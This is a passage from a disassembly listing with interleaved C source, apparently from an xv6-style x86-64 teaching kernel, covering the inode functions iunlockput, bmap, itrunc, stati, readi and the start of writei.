ffff800000102bc9: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000102bd0: 80 ff ff
ffff800000102bd3: ff d0 callq *%rax
}
ffff800000102bd5: 90 nop
ffff800000102bd6: c9 leaveq
ffff800000102bd7: c3 retq
ffff800000102bd8 <iunlockput>:
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
ffff800000102bd8: f3 0f 1e fa endbr64
ffff800000102bdc: 55 push %rbp
ffff800000102bdd: 48 89 e5 mov %rsp,%rbp
ffff800000102be0: 48 83 ec 10 sub $0x10,%rsp
ffff800000102be4: 48 89 7d f8 mov %rdi,-0x8(%rbp)
iunlock(ip);
ffff800000102be8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102bec: 48 89 c7 mov %rax,%rdi
ffff800000102bef: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff800000102bf6: 80 ff ff
ffff800000102bf9: ff d0 callq *%rax
iput(ip);
ffff800000102bfb: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102bff: 48 89 c7 mov %rax,%rdi
ffff800000102c02: 48 b8 ea 2a 10 00 00 movabs $0xffff800000102aea,%rax
ffff800000102c09: 80 ff ff
ffff800000102c0c: ff d0 callq *%rax
}
ffff800000102c0e: 90 nop
ffff800000102c0f: c9 leaveq
ffff800000102c10: c3 retq
ffff800000102c11 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
ffff800000102c11: f3 0f 1e fa endbr64
ffff800000102c15: 55 push %rbp
ffff800000102c16: 48 89 e5 mov %rsp,%rbp
ffff800000102c19: 48 83 ec 30 sub $0x30,%rsp
ffff800000102c1d: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff800000102c21: 89 75 d4 mov %esi,-0x2c(%rbp)
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
ffff800000102c24: 83 7d d4 0b cmpl $0xb,-0x2c(%rbp)
ffff800000102c28: 77 47 ja ffff800000102c71 <bmap+0x60>
if((addr = ip->addrs[bn]) == 0)
ffff800000102c2a: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102c2e: 8b 55 d4 mov -0x2c(%rbp),%edx
ffff800000102c31: 48 83 c2 28 add $0x28,%rdx
ffff800000102c35: 8b 04 90 mov (%rax,%rdx,4),%eax
ffff800000102c38: 89 45 fc mov %eax,-0x4(%rbp)
ffff800000102c3b: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff800000102c3f: 75 28 jne ffff800000102c69 <bmap+0x58>
ip->addrs[bn] = addr = balloc(ip->dev);
ffff800000102c41: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102c45: 8b 00 mov (%rax),%eax
ffff800000102c47: 89 c7 mov %eax,%edi
ffff800000102c49: 48 b8 b2 21 10 00 00 movabs $0xffff8000001021b2,%rax
ffff800000102c50: 80 ff ff
ffff800000102c53: ff d0 callq *%rax
ffff800000102c55: 89 45 fc mov %eax,-0x4(%rbp)
ffff800000102c58: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102c5c: 8b 55 d4 mov -0x2c(%rbp),%edx
ffff800000102c5f: 48 8d 4a 28 lea 0x28(%rdx),%rcx
ffff800000102c63: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000102c66: 89 14 88 mov %edx,(%rax,%rcx,4)
return addr;
ffff800000102c69: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000102c6c: e9 fc 00 00 00 jmpq ffff800000102d6d <bmap+0x15c>
}
bn -= NDIRECT;
ffff800000102c71: 83 6d d4 0c subl $0xc,-0x2c(%rbp)
if(bn < NINDIRECT){
ffff800000102c75: 83 7d d4 7f cmpl $0x7f,-0x2c(%rbp)
ffff800000102c79: 0f 87 d8 00 00 00 ja ffff800000102d57 <bmap+0x146>
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
ffff800000102c7f: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102c83: 8b 80 d0 00 00 00 mov 0xd0(%rax),%eax
ffff800000102c89: 89 45 fc mov %eax,-0x4(%rbp)
ffff800000102c8c: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff800000102c90: 75 24 jne ffff800000102cb6 <bmap+0xa5>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
ffff800000102c92: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102c96: 8b 00 mov (%rax),%eax
ffff800000102c98: 89 c7 mov %eax,%edi
ffff800000102c9a: 48 b8 b2 21 10 00 00 movabs $0xffff8000001021b2,%rax
ffff800000102ca1: 80 ff ff
ffff800000102ca4: ff d0 callq *%rax
ffff800000102ca6: 89 45 fc mov %eax,-0x4(%rbp)
ffff800000102ca9: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102cad: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000102cb0: 89 90 d0 00 00 00 mov %edx,0xd0(%rax)
bp = bread(ip->dev, addr);
ffff800000102cb6: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102cba: 8b 00 mov (%rax),%eax
ffff800000102cbc: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000102cbf: 89 d6 mov %edx,%esi
ffff800000102cc1: 89 c7 mov %eax,%edi
ffff800000102cc3: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff800000102cca: 80 ff ff
ffff800000102ccd: ff d0 callq *%rax
ffff800000102ccf: 48 89 45 f0 mov %rax,-0x10(%rbp)
a = (uint*)bp->data;
ffff800000102cd3: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102cd7: 48 05 b0 00 00 00 add $0xb0,%rax
ffff800000102cdd: 48 89 45 e8 mov %rax,-0x18(%rbp)
if((addr = a[bn]) == 0){
ffff800000102ce1: 8b 45 d4 mov -0x2c(%rbp),%eax
ffff800000102ce4: 48 8d 14 85 00 00 00 lea 0x0(,%rax,4),%rdx
ffff800000102ceb: 00
ffff800000102cec: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102cf0: 48 01 d0 add %rdx,%rax
ffff800000102cf3: 8b 00 mov (%rax),%eax
ffff800000102cf5: 89 45 fc mov %eax,-0x4(%rbp)
ffff800000102cf8: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff800000102cfc: 75 41 jne ffff800000102d3f <bmap+0x12e>
a[bn] = addr = balloc(ip->dev);
ffff800000102cfe: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102d02: 8b 00 mov (%rax),%eax
ffff800000102d04: 89 c7 mov %eax,%edi
ffff800000102d06: 48 b8 b2 21 10 00 00 movabs $0xffff8000001021b2,%rax
ffff800000102d0d: 80 ff ff
ffff800000102d10: ff d0 callq *%rax
ffff800000102d12: 89 45 fc mov %eax,-0x4(%rbp)
ffff800000102d15: 8b 45 d4 mov -0x2c(%rbp),%eax
ffff800000102d18: 48 8d 14 85 00 00 00 lea 0x0(,%rax,4),%rdx
ffff800000102d1f: 00
ffff800000102d20: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102d24: 48 01 c2 add %rax,%rdx
ffff800000102d27: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000102d2a: 89 02 mov %eax,(%rdx)
log_write(bp);
ffff800000102d2c: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102d30: 48 89 c7 mov %rax,%rdi
ffff800000102d33: 48 b8 21 56 10 00 00 movabs $0xffff800000105621,%rax
ffff800000102d3a: 80 ff ff
ffff800000102d3d: ff d0 callq *%rax
}
brelse(bp);
ffff800000102d3f: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102d43: 48 89 c7 mov %rax,%rdi
ffff800000102d46: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000102d4d: 80 ff ff
ffff800000102d50: ff d0 callq *%rax
return addr;
ffff800000102d52: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000102d55: eb 16 jmp ffff800000102d6d <bmap+0x15c>
}
panic("bmap: out of range");
ffff800000102d57: 48 bf ca c5 10 00 00 movabs $0xffff80000010c5ca,%rdi
ffff800000102d5e: 80 ff ff
ffff800000102d61: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000102d68: 80 ff ff
ffff800000102d6b: ff d0 callq *%rax
}
ffff800000102d6d: c9 leaveq
ffff800000102d6e: c3 retq
ffff800000102d6f <itrunc>:
// to it (no directory entries referring to it)
// and has no in-memory reference to it (is
// not an open file or current directory).
static void
itrunc(struct inode *ip)
{
ffff800000102d6f: f3 0f 1e fa endbr64
ffff800000102d73: 55 push %rbp
ffff800000102d74: 48 89 e5 mov %rsp,%rbp
ffff800000102d77: 48 83 ec 30 sub $0x30,%rsp
ffff800000102d7b: 48 89 7d d8 mov %rdi,-0x28(%rbp)
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
ffff800000102d7f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000102d86: eb 55 jmp ffff800000102ddd <itrunc+0x6e>
if(ip->addrs[i]){
ffff800000102d88: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102d8c: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000102d8f: 48 63 d2 movslq %edx,%rdx
ffff800000102d92: 48 83 c2 28 add $0x28,%rdx
ffff800000102d96: 8b 04 90 mov (%rax,%rdx,4),%eax
ffff800000102d99: 85 c0 test %eax,%eax
ffff800000102d9b: 74 3c je ffff800000102dd9 <itrunc+0x6a>
bfree(ip->dev, ip->addrs[i]);
ffff800000102d9d: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102da1: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000102da4: 48 63 d2 movslq %edx,%rdx
ffff800000102da7: 48 83 c2 28 add $0x28,%rdx
ffff800000102dab: 8b 04 90 mov (%rax,%rdx,4),%eax
ffff800000102dae: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff800000102db2: 8b 12 mov (%rdx),%edx
ffff800000102db4: 89 c6 mov %eax,%esi
ffff800000102db6: 89 d7 mov %edx,%edi
ffff800000102db8: 48 b8 4e 23 10 00 00 movabs $0xffff80000010234e,%rax
ffff800000102dbf: 80 ff ff
ffff800000102dc2: ff d0 callq *%rax
ip->addrs[i] = 0;
ffff800000102dc4: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102dc8: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000102dcb: 48 63 d2 movslq %edx,%rdx
ffff800000102dce: 48 83 c2 28 add $0x28,%rdx
ffff800000102dd2: c7 04 90 00 00 00 00 movl $0x0,(%rax,%rdx,4)
for(i = 0; i < NDIRECT; i++){
ffff800000102dd9: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000102ddd: 83 7d fc 0b cmpl $0xb,-0x4(%rbp)
ffff800000102de1: 7e a5 jle ffff800000102d88 <itrunc+0x19>
}
}
if(ip->addrs[NDIRECT]){
ffff800000102de3: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102de7: 8b 80 d0 00 00 00 mov 0xd0(%rax),%eax
ffff800000102ded: 85 c0 test %eax,%eax
ffff800000102def: 0f 84 ce 00 00 00 je ffff800000102ec3 <itrunc+0x154>
bp = bread(ip->dev, ip->addrs[NDIRECT]);
ffff800000102df5: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102df9: 8b 90 d0 00 00 00 mov 0xd0(%rax),%edx
ffff800000102dff: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102e03: 8b 00 mov (%rax),%eax
ffff800000102e05: 89 d6 mov %edx,%esi
ffff800000102e07: 89 c7 mov %eax,%edi
ffff800000102e09: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff800000102e10: 80 ff ff
ffff800000102e13: ff d0 callq *%rax
ffff800000102e15: 48 89 45 f0 mov %rax,-0x10(%rbp)
a = (uint*)bp->data;
ffff800000102e19: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102e1d: 48 05 b0 00 00 00 add $0xb0,%rax
ffff800000102e23: 48 89 45 e8 mov %rax,-0x18(%rbp)
for(j = 0; j < NINDIRECT; j++){
ffff800000102e27: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%rbp)
ffff800000102e2e: eb 4a jmp ffff800000102e7a <itrunc+0x10b>
if(a[j])
ffff800000102e30: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000102e33: 48 98 cltq
ffff800000102e35: 48 8d 14 85 00 00 00 lea 0x0(,%rax,4),%rdx
ffff800000102e3c: 00
ffff800000102e3d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102e41: 48 01 d0 add %rdx,%rax
ffff800000102e44: 8b 00 mov (%rax),%eax
ffff800000102e46: 85 c0 test %eax,%eax
ffff800000102e48: 74 2c je ffff800000102e76 <itrunc+0x107>
bfree(ip->dev, a[j]);
ffff800000102e4a: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000102e4d: 48 98 cltq
ffff800000102e4f: 48 8d 14 85 00 00 00 lea 0x0(,%rax,4),%rdx
ffff800000102e56: 00
ffff800000102e57: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102e5b: 48 01 d0 add %rdx,%rax
ffff800000102e5e: 8b 00 mov (%rax),%eax
ffff800000102e60: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff800000102e64: 8b 12 mov (%rdx),%edx
ffff800000102e66: 89 c6 mov %eax,%esi
ffff800000102e68: 89 d7 mov %edx,%edi
ffff800000102e6a: 48 b8 4e 23 10 00 00 movabs $0xffff80000010234e,%rax
ffff800000102e71: 80 ff ff
ffff800000102e74: ff d0 callq *%rax
for(j = 0; j < NINDIRECT; j++){
ffff800000102e76: 83 45 f8 01 addl $0x1,-0x8(%rbp)
ffff800000102e7a: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000102e7d: 83 f8 7f cmp $0x7f,%eax
ffff800000102e80: 76 ae jbe ffff800000102e30 <itrunc+0xc1>
}
brelse(bp);
ffff800000102e82: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102e86: 48 89 c7 mov %rax,%rdi
ffff800000102e89: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000102e90: 80 ff ff
ffff800000102e93: ff d0 callq *%rax
bfree(ip->dev, ip->addrs[NDIRECT]);
ffff800000102e95: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102e99: 8b 80 d0 00 00 00 mov 0xd0(%rax),%eax
ffff800000102e9f: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff800000102ea3: 8b 12 mov (%rdx),%edx
ffff800000102ea5: 89 c6 mov %eax,%esi
ffff800000102ea7: 89 d7 mov %edx,%edi
ffff800000102ea9: 48 b8 4e 23 10 00 00 movabs $0xffff80000010234e,%rax
ffff800000102eb0: 80 ff ff
ffff800000102eb3: ff d0 callq *%rax
ip->addrs[NDIRECT] = 0;
ffff800000102eb5: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102eb9: c7 80 d0 00 00 00 00 movl $0x0,0xd0(%rax)
ffff800000102ec0: 00 00 00
}
ip->size = 0;
ffff800000102ec3: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102ec7: c7 80 9c 00 00 00 00 movl $0x0,0x9c(%rax)
ffff800000102ece: 00 00 00
iupdate(ip);
ffff800000102ed1: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102ed5: 48 89 c7 mov %rax,%rdi
ffff800000102ed8: 48 b8 4a 26 10 00 00 movabs $0xffff80000010264a,%rax
ffff800000102edf: 80 ff ff
ffff800000102ee2: ff d0 callq *%rax
}
ffff800000102ee4: 90 nop
ffff800000102ee5: c9 leaveq
ffff800000102ee6: c3 retq
ffff800000102ee7 <stati>:
// Copy stat information from inode.
void
stati(struct inode *ip, struct stat *st)
{
ffff800000102ee7: f3 0f 1e fa endbr64
ffff800000102eeb: 55 push %rbp
ffff800000102eec: 48 89 e5 mov %rsp,%rbp
ffff800000102eef: 48 83 ec 10 sub $0x10,%rsp
ffff800000102ef3: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000102ef7: 48 89 75 f0 mov %rsi,-0x10(%rbp)
st->dev = ip->dev;
ffff800000102efb: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102eff: 8b 00 mov (%rax),%eax
ffff800000102f01: 89 c2 mov %eax,%edx
ffff800000102f03: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102f07: 89 50 04 mov %edx,0x4(%rax)
st->ino = ip->inum;
ffff800000102f0a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102f0e: 8b 50 04 mov 0x4(%rax),%edx
ffff800000102f11: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102f15: 89 50 08 mov %edx,0x8(%rax)
st->type = ip->type;
ffff800000102f18: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102f1c: 0f b7 90 94 00 00 00 movzwl 0x94(%rax),%edx
ffff800000102f23: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102f27: 66 89 10 mov %dx,(%rax)
st->nlink = ip->nlink;
ffff800000102f2a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102f2e: 0f b7 90 9a 00 00 00 movzwl 0x9a(%rax),%edx
ffff800000102f35: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102f39: 66 89 50 0c mov %dx,0xc(%rax)
st->size = ip->size;
ffff800000102f3d: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102f41: 8b 90 9c 00 00 00 mov 0x9c(%rax),%edx
ffff800000102f47: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102f4b: 89 50 10 mov %edx,0x10(%rax)
}
ffff800000102f4e: 90 nop
ffff800000102f4f: c9 leaveq
ffff800000102f50: c3 retq
ffff800000102f51 <readi>:
//PAGEBREAK!
// Read data from inode.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
ffff800000102f51: f3 0f 1e fa endbr64
ffff800000102f55: 55 push %rbp
ffff800000102f56: 48 89 e5 mov %rsp,%rbp
ffff800000102f59: 48 83 ec 40 sub $0x40,%rsp
ffff800000102f5d: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff800000102f61: 48 89 75 d0 mov %rsi,-0x30(%rbp)
ffff800000102f65: 89 55 cc mov %edx,-0x34(%rbp)
ffff800000102f68: 89 4d c8 mov %ecx,-0x38(%rbp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
ffff800000102f6b: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102f6f: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff800000102f76: 66 83 f8 03 cmp $0x3,%ax
ffff800000102f7a: 0f 85 8d 00 00 00 jne ffff80000010300d <readi+0xbc>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
ffff800000102f80: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102f84: 0f b7 80 96 00 00 00 movzwl 0x96(%rax),%eax
ffff800000102f8b: 66 85 c0 test %ax,%ax
ffff800000102f8e: 78 38 js ffff800000102fc8 <readi+0x77>
ffff800000102f90: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102f94: 0f b7 80 96 00 00 00 movzwl 0x96(%rax),%eax
ffff800000102f9b: 66 83 f8 09 cmp $0x9,%ax
ffff800000102f9f: 7f 27 jg ffff800000102fc8 <readi+0x77>
ffff800000102fa1: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102fa5: 0f b7 80 96 00 00 00 movzwl 0x96(%rax),%eax
ffff800000102fac: 98 cwtl
ffff800000102fad: 48 ba 40 35 11 00 00 movabs $0xffff800000113540,%rdx
ffff800000102fb4: 80 ff ff
ffff800000102fb7: 48 98 cltq
ffff800000102fb9: 48 c1 e0 04 shl $0x4,%rax
ffff800000102fbd: 48 01 d0 add %rdx,%rax
ffff800000102fc0: 48 8b 00 mov (%rax),%rax
ffff800000102fc3: 48 85 c0 test %rax,%rax
ffff800000102fc6: 75 0a jne ffff800000102fd2 <readi+0x81>
return -1;
ffff800000102fc8: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000102fcd: e9 4e 01 00 00 jmpq ffff800000103120 <readi+0x1cf>
return devsw[ip->major].read(ip, off, dst, n);
ffff800000102fd2: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000102fd6: 0f b7 80 96 00 00 00 movzwl 0x96(%rax),%eax
ffff800000102fdd: 98 cwtl
ffff800000102fde: 48 ba 40 35 11 00 00 movabs $0xffff800000113540,%rdx
ffff800000102fe5: 80 ff ff
ffff800000102fe8: 48 98 cltq
ffff800000102fea: 48 c1 e0 04 shl $0x4,%rax
ffff800000102fee: 48 01 d0 add %rdx,%rax
ffff800000102ff1: 4c 8b 00 mov (%rax),%r8
ffff800000102ff4: 8b 4d c8 mov -0x38(%rbp),%ecx
ffff800000102ff7: 48 8b 55 d0 mov -0x30(%rbp),%rdx
ffff800000102ffb: 8b 75 cc mov -0x34(%rbp),%esi
ffff800000102ffe: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103002: 48 89 c7 mov %rax,%rdi
ffff800000103005: 41 ff d0 callq *%r8
ffff800000103008: e9 13 01 00 00 jmpq ffff800000103120 <readi+0x1cf>
}
if(off > ip->size || off + n < off)
ffff80000010300d: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103011: 8b 80 9c 00 00 00 mov 0x9c(%rax),%eax
ffff800000103017: 39 45 cc cmp %eax,-0x34(%rbp)
ffff80000010301a: 77 0d ja ffff800000103029 <readi+0xd8>
ffff80000010301c: 8b 55 cc mov -0x34(%rbp),%edx
ffff80000010301f: 8b 45 c8 mov -0x38(%rbp),%eax
ffff800000103022: 01 d0 add %edx,%eax
ffff800000103024: 39 45 cc cmp %eax,-0x34(%rbp)
ffff800000103027: 76 0a jbe ffff800000103033 <readi+0xe2>
return -1;
ffff800000103029: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010302e: e9 ed 00 00 00 jmpq ffff800000103120 <readi+0x1cf>
if(off + n > ip->size)
ffff800000103033: 8b 55 cc mov -0x34(%rbp),%edx
ffff800000103036: 8b 45 c8 mov -0x38(%rbp),%eax
ffff800000103039: 01 c2 add %eax,%edx
ffff80000010303b: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010303f: 8b 80 9c 00 00 00 mov 0x9c(%rax),%eax
ffff800000103045: 39 c2 cmp %eax,%edx
ffff800000103047: 76 10 jbe ffff800000103059 <readi+0x108>
n = ip->size - off;
ffff800000103049: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010304d: 8b 80 9c 00 00 00 mov 0x9c(%rax),%eax
ffff800000103053: 2b 45 cc sub -0x34(%rbp),%eax
ffff800000103056: 89 45 c8 mov %eax,-0x38(%rbp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
ffff800000103059: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000103060: e9 ac 00 00 00 jmpq ffff800000103111 <readi+0x1c0>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
ffff800000103065: 8b 45 cc mov -0x34(%rbp),%eax
ffff800000103068: c1 e8 09 shr $0x9,%eax
ffff80000010306b: 89 c2 mov %eax,%edx
ffff80000010306d: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103071: 89 d6 mov %edx,%esi
ffff800000103073: 48 89 c7 mov %rax,%rdi
ffff800000103076: 48 b8 11 2c 10 00 00 movabs $0xffff800000102c11,%rax
ffff80000010307d: 80 ff ff
ffff800000103080: ff d0 callq *%rax
ffff800000103082: 89 c2 mov %eax,%edx
ffff800000103084: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103088: 8b 00 mov (%rax),%eax
ffff80000010308a: 89 d6 mov %edx,%esi
ffff80000010308c: 89 c7 mov %eax,%edi
ffff80000010308e: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff800000103095: 80 ff ff
ffff800000103098: ff d0 callq *%rax
ffff80000010309a: 48 89 45 f0 mov %rax,-0x10(%rbp)
m = min(n - tot, BSIZE - off%BSIZE);
ffff80000010309e: 8b 45 cc mov -0x34(%rbp),%eax
ffff8000001030a1: 25 ff 01 00 00 and $0x1ff,%eax
ffff8000001030a6: ba 00 02 00 00 mov $0x200,%edx
ffff8000001030ab: 29 c2 sub %eax,%edx
ffff8000001030ad: 8b 45 c8 mov -0x38(%rbp),%eax
ffff8000001030b0: 2b 45 fc sub -0x4(%rbp),%eax
ffff8000001030b3: 39 c2 cmp %eax,%edx
ffff8000001030b5: 0f 46 c2 cmovbe %edx,%eax
ffff8000001030b8: 89 45 ec mov %eax,-0x14(%rbp)
memmove(dst, bp->data + off%BSIZE, m);
ffff8000001030bb: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001030bf: 48 8d 90 b0 00 00 00 lea 0xb0(%rax),%rdx
ffff8000001030c6: 8b 45 cc mov -0x34(%rbp),%eax
ffff8000001030c9: 25 ff 01 00 00 and $0x1ff,%eax
ffff8000001030ce: 48 8d 0c 02 lea (%rdx,%rax,1),%rcx
ffff8000001030d2: 8b 55 ec mov -0x14(%rbp),%edx
ffff8000001030d5: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff8000001030d9: 48 89 ce mov %rcx,%rsi
ffff8000001030dc: 48 89 c7 mov %rax,%rdi
ffff8000001030df: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff8000001030e6: 80 ff ff
ffff8000001030e9: ff d0 callq *%rax
brelse(bp);
ffff8000001030eb: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001030ef: 48 89 c7 mov %rax,%rdi
ffff8000001030f2: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff8000001030f9: 80 ff ff
ffff8000001030fc: ff d0 callq *%rax
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
ffff8000001030fe: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000103101: 01 45 fc add %eax,-0x4(%rbp)
ffff800000103104: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000103107: 01 45 cc add %eax,-0x34(%rbp)
ffff80000010310a: 8b 45 ec mov -0x14(%rbp),%eax
ffff80000010310d: 48 01 45 d0 add %rax,-0x30(%rbp)
ffff800000103111: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000103114: 3b 45 c8 cmp -0x38(%rbp),%eax
ffff800000103117: 0f 82 48 ff ff ff jb ffff800000103065 <readi+0x114>
}
return n;
ffff80000010311d: 8b 45 c8 mov -0x38(%rbp),%eax
}
ffff800000103120: c9 leaveq
ffff800000103121: c3 retq
ffff800000103122 <writei>:
// PAGEBREAK!
// Write data to inode.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
ffff800000103122: f3 0f 1e fa endbr64
ffff800000103126: 55 push %rbp
ffff800000103127: 48 89 e5 mov %rsp,%rbp
ffff80000010312a: 48 83 ec 40 sub $0x40,%rsp
ffff80000010312e: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff800000103132: 48 89 75 d0 mov %rsi,-0x30(%rbp)
ffff800000103136: 89 55 cc mov %edx,-0x34(%rbp)
ffff800000103139: 89 4d c8 mov %ecx,-0x38(%rbp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
ffff80000010313c: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103140: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff800000103147: 66 83 f8 03 cmp $0x3,%ax
ffff80000010314b: 0f 85 95 00 00 00 jne ffff8000001031e6 <writei+0xc4>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
ffff800000103151: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103155: 0f b7 80 96 00 00 00 movzwl 0x96(%rax),%eax
ffff80000010315c: 66 85 c0 test %ax,%ax
ffff80000010315f: 78 3c js ffff80000010319d <writei+0x7b>
ffff800000103161: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103165: 0f b7 80 96 00 00 00 movzwl 0x96(%rax),%eax
ffff80000010316c: 66 83 f8 09 cmp $0x9,%ax
ffff800000103170: 7f 2b jg ffff80000010319d <writei+0x7b>
ffff800000103172: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000103176: 0f b7 80 96 00 00 00 movzwl 0x96(%rax),%eax
ffff80000010317d: 98 cwtl
ffff80000010317e: 48 ba 40 35 11 00 00 movabs $0xffff800000113540,%rdx
ffff800000103185: 80 ff ff
ffff800000103188: 48 98 cltq
ffff80000010318a: 48 c1 e0 04 shl $0x4,%rax
ffff80000010318e: 48 01 d0 add %rdx,%rax
ffff800000103191: 48 83 c0 08 add $0x8,%rax
ffff800000103195: 48 8b 00 mov (%rax),%rax
ffff800000103198: 48 85 c0 test %rax,%rax
ffff80000010319b: 75 0a jne ffff8000001031a7 <writei+0x85>
return -1;
ffff80000010319d: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001031a2: e9 8d 01 00 00 jmpq ffff800000103334 <writei+0x212>
return devsw[ip->major].write(ip, off, src, n);
ffff8000001031a7: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff8000001031ab: 0f b7 80 96 00 00 00 movzwl 0x96(%rax),%eax
ffff8000001031b2: 98 cwtl
ffff8000001031b3: 48 ba 40 35 11 00 00 movabs $0xffff800000113540,%rdx
ffff8000001031ba: 80 ff ff
